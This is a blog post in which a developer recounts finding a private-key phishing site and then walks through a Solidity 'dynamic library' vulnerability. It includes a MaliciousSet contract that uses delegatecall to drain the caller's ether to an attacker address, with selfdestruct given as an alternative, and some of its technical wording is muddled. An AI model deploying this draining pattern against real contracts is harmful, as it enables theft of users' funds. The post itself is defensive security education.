What I Learned about Ethereum Security Exploits Today

in #blockchain7 years ago (edited)

Screen Shot 2018-02-14 at 9.13.36 PM.png

Today, I was working on a React project where I was using a Youtube API and as I was working, the thought came to me to research Ethereum or blockchain APIs on my break. Later on, on my tea break(yes, I take tea breaks), as I was googling, I came across a site that claimed to be an Ethereum API site. As is standard, for security, you’d have to sign in so they knew who was using their APIs. This didn't stand out to me, as I just got done signing in to google’s API developer platform and I know that platforms usually request your identity in order to use their APIs..but this site was sparse and had an evasive vibe. Soon what I ended up seeing, confirmed my initial intuition..I had somehow stumbled somewhere into the land of hysteria, rage, desperate insults, and tantrums, on the part of those who had somehow submitted their private keys, and subsequently, lost their Ether.

Screen Shot 2018-02-14 at 10.44.27 PM.png

Why the owner of the site decided to leave a visible feed of this trail of desperate victims demanding their keys back, whilst cursing him out, in between breaths, was quite mind boggling to me.. but I digress. The hacker displayed quite a bit of arrogance, deciding it would be fun to abuse them with a mix of obnoxious gibberish, intertwined with pornographic taunts. One of these people even claimed it was his entire savings. Now, I’ve been interested in the security aspect of contracts for a while, but I gotta say, this jolted me into learning more IMMEDIATELY. There are countless brilliant hackers probing for vulnerabilities to exploit everyday. It's my intention to become a better blockchain engineer everyday and also to save you guys from that miserable trail of tears I sadly witnessed. Trust me, it wasn't pretty. So, I did some research and came across several well documented Solidity exploits. I also remembered hearing about a major one given by Blockchain security engineer, @Thekingbee.

They were all fascinating but the one major vulnerability that stands to me is the 'Dynamic Libraries' contract. This type of contract can update a component( a library of operation on sets) if it needs to. So for example, if there is a Solidity update, or if a bug is fixed, it allows the contract the flexibility to use the latest updated version. As you will see, the downside to this is that libraries have components which are updated AFTER the contract is published. This allows a hacker to swap these parts out with malicious ones. It kind of made me think of SQL injections and how hackers could just inject the parts they wanted into the victims database before the security for PostGresSQL was changed. Let's look at an example of this:
Screen Shot 2018-02-14 at 9.20.23 PM.png

pragma solidity ^0.4.2;

contract SetProvider {
    
    address public setLibAddr;
    address public owner;
    
    function SetProvider() {
        owner = msg.sender;
    }
    
    function updateLibrary(address arg) {
        if (msg.sender==owner)
            setLibAddr = arg;
    }
    
    function getSet() returns (address) {
        return setLibAddr;
    }
}

contract Set {
    uint8 public result;
    function setResult(uint8 res){result = res; } 
    function version(){  this.setResult(3);  }
}

What can happen here, is the owner of the contract, SetProvider, can use function updateLibrary to substitute the library address with a different one. This vulnerability in Solidity, allows anyone to get the address of the library using getSet. The library set puts in motion some basic set operations. (Libraries are unique contracts and have immutable fields. When a user declares that an interface is a library, calls to any of its functions are done using delegatecall. Arguments with the tag storage are passed by reference.

Let’s pretend Rachel is a legitimate user using SetProvider. She queries for the library version using getSetVersion. With the latest version of Solidity(v).4.2), you can no longer instantiate a library using set(addr):. The new way to do it is by using the command line to set the library address. But this same attack can work using delegatecall.

pragma solidity ^0.4.2;

// Set interface
library Set {
  
    struct Data { mapping(uint => bool) flags; }

    function insert(Data storage self, uint value) returns (bool);
    function remove(Data storage self, uint value) returns (bool);
    function contains(Data storage self, uint value) returns (bool);
    function version() returns (uint);
}

// SetProvider interface
contract SetProvider { 
    function getSet() returns (Set);
}

contract Bob { 
    address public providerAddr;
    uint8 public result;
    
    function setResult(uint8 res){ result = res; } 
    function setProvider(address arg) { providerAddr = arg; }
    
    function getVersion() returns (uint) {
        address setAddr = SetProvider(providerAddr).getSet();
        bool res = setAddr.delegatecall.gas(55555)(
                   bytes4(sha3("version()")));

        return result; 
    }
}

Let’s pretend the owner of setProvider is also a hacker with plans to steal all of Rachel’s ether. She can attack Rachel in this way. In the first step of her attack, the hacker publishes a new library , MaliciousSet, and then it invokes the function updateLibrary of SetProvider to make it point at MaliciousSet.

pragma solidity ^0.4.2;

contract MaliciousSet {
  
    address constant attackerAddr = 0x35..; //malevolent address

    uint8 public result;
    
    function setResult(uint8 res){result = res; } 
    function version(){ 
        this.setResult(5); 
        bool res = attackerAddr.send(this.balance); 
        //selfdestruct(attackerAddr);  //this works as well
    }  
}

If you notice, MaliciousSet performs a send on line 4, to transfer ether to the the hacker. Since Rachel declared the interface Set as a library, any direct call to version is put into motion as a delegatecall, and so it’s executed in Rachel‘s environment. Hence, this.balance in the send on line 4 above, actually refers to Rachel‘s balance, causing the send to transfer all her ether to the hacker. Once that’s done, the function correctly returns the version number.

Another way to create a malicious library is by using the function selfdestruct. selfdestruct is a special function, which disables the contract which executes it and sends everything in its balance to a target address. Payday! So for example, the hacker can replace line 4 of MaliciousSet with selfdestruct(attackerAddr).

This will disable Rachel's contract permanently, and send her balance straight to her hacker's loving arms.

The attack we read through above, exploits the unpredictable state vulnerability. With updates happening all the time, Rachel has no way of knowing which version of the library is going to be executed when it used SetProvider. What this reinforces is that, as Blockchain engineers, it is imperative that we get into the habit of putting ourselves in the minds of hackers. We have to anticipate where they might see vulnerabilities and counter that with the way we write our contracts and design our apps.

I feel really excited learning Solidity and I can't wait to learn more and keep sharing.

Screen Shot 2018-02-14 at 11.45.21 PM.png

Sort:  

Glad to see you kickin the knowledge on the Steem blockchain fam!

DeBray got everybody on the steem chain. Thank you

It's only right! #BlockchainGang... Lol

Thanks for reading!:)